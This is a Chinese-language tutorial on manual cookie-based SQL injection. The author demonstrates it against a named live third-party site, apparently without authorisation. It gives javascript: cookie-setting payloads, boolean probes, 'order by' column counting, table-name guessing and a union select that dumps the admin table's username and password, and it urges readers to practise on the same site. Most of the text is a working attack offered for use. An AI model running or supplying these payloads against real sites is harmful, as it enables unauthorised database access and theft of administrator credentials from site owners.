今天在旁注網站的過程中遇到了一個可以cookie注入的網站,加上我個人網站之前的文章貌似沒有提及過cookie注入,是以今天拿一個執行個體網站來給大家說下手工進行cookie注入。
cookie注入其原理也和平時的注入一樣,隻不過說我們是将送出的參數已cookie方式送出了,而一般的注入我們是使用get或者post方式送出,get方式送出就是直接在網址後面加上需要注入的語句,post則是通過表單方式,get和post的不同之處就在于一個我們可以通過IE位址欄處看到我們送出的參數,而另外一個卻不能。
相對post和get方式注入來說,cookie注入就要稍微繁瑣一些了,要進行cookie注入,我們首先就要修改cookie,這裡就需要使用到Javascript語言了。另外cookie注入的形成有兩個必須條件,條件1是程式對get和post方式送出的資料進行了過濾,但未對cookie送出的資料庫進行過濾。在條件1的基礎上還需要程式對送出資料擷取方式是直接request("xxx")的方式,未指明使用request對象的具體方法進行擷取。
下面還是具體拿個執行個體來給大家示範下,目标站:http://www.ytop35.com/Products_show.asp?id=284
,同時也是注入點。我們首先要檢測下按照平時的方式注入,在網址後面加 and 1=1。

可見是使用了防注入系統的,但是目前我們是使用get方式送出的參數,那現在我們将“id=284”這個參數使用cookie送出看看程式對資料接收是否直接使用 request("xx")的方式?要更改成cookie方式送出,我們首先要通路正常的頁面,即是:http://www.ytop35.com/Products_show.asp?id=284,等頁面完全打開之後,我們将IE位址欄清空,然後寫上:javascript:alert(document.cookie="id="+escape("284"));
這裡的“id=”便是“Products_show.asp?id=284”中的“id=”,“escape("284")”中的“284”是“Products_show.asp?id=284”中的“id=284”了,這兩處要根據實際情況來定義。寫完之後按下回車網頁中會彈出以下對話框:
現在更改好了cookie後我們就要試下能不能正常通路了,現在在另外一個視窗中我們打開以下位址:http://www.ytop35.com/Products_show.asp? 既是将“id=284”去掉後的,然後看是否能正常通路。
可見通路之後的頁面與通路http://www.ytop35.com/Products_show.asp?id=284的時候是一樣的,這樣就說明程式在使用request對象擷取資料的時候并未指明具體使用什麼方法來擷取,而是直接使用request("xx")的方式。現在cookie形成的一個重要因素已經明确了,接下來我們測試下能否送出特殊字元,看程式是否對資料進行過濾。我們再回到剛才更改cookie的頁面,然後在IE位址欄處填寫javascript:alert(document.cookie="id="+escape("284
and 1=1")); 回車後再去http://www.ytop35.com/Products_show.asp?頁面重新整理,看頁面是否正常,如果正常我們再送出javascript:alert(document.cookie="id="+escape("284 and 1=2")); 然後再去重新整理,這個時候就會看見出錯了。
很明顯就能看到錯誤了,而且産品内容也米有顯示,到此便可以确定該頁面能使用cookie注入了,接下來來的利用過程就和普通注入一樣了。我們可以使用union聯合查詢爆出管理者的賬号和密碼,但前提是需要知道管理者的表名和字段名,不過我們可以通過猜解。
首先來使用order by 語句判斷出目前執行資料庫查詢的表的字段數,我們送出:javascript:alert(document.cookie="id="+escape("284 order by 1")); 然會正常,表示可以使用order by語句,如果錯誤的話可能是不能使用order by來猜解字段數了,拿就需要直接union select 一個一個的試了。然後送出:javascript:alert(document.cookie="id="+escape("284 order by 10"));
如果還傳回正常就說明字段數在10以上,我們一次類推直到猜解出正确的字段數,比如這裡我送出到了21的時候去重新整理頁面出現錯誤,然後送出20的時候去重新整理頁面就正常了,就說明字段數是20.
接下來我們送出:javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage")); 發現有錯誤,我們再送出javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
from admin"));發現傳回正常頁面。
看到熟悉的畫面了吧,這就表示網站資料庫存在admin這個表,因我們之前一次送出的是javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage"));,資料庫中不存在mange這個表,自然就出錯了,使用更換from 處可以來猜解表明,那麼現在我們在6和17的地方試試username和password看看送出後是否出錯,如果出錯那麼就表示不存在username或者password字段。我們送出:javascript:alert(document.cookie="id="+escape("284
union select 1,2,3,4,5,username,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));
可見,原來顯示6和17的地方現在爆出了管理者的賬号和密碼了,不過這個密碼破不出來,大家可以自己拿網站去練練。總的說來cookie注入和普通注入是一樣的,隻不過是在送出注入語句的過程不一樣而已。如果對普通注入的原理又說了解的話,那麼cookie注入也就不難了。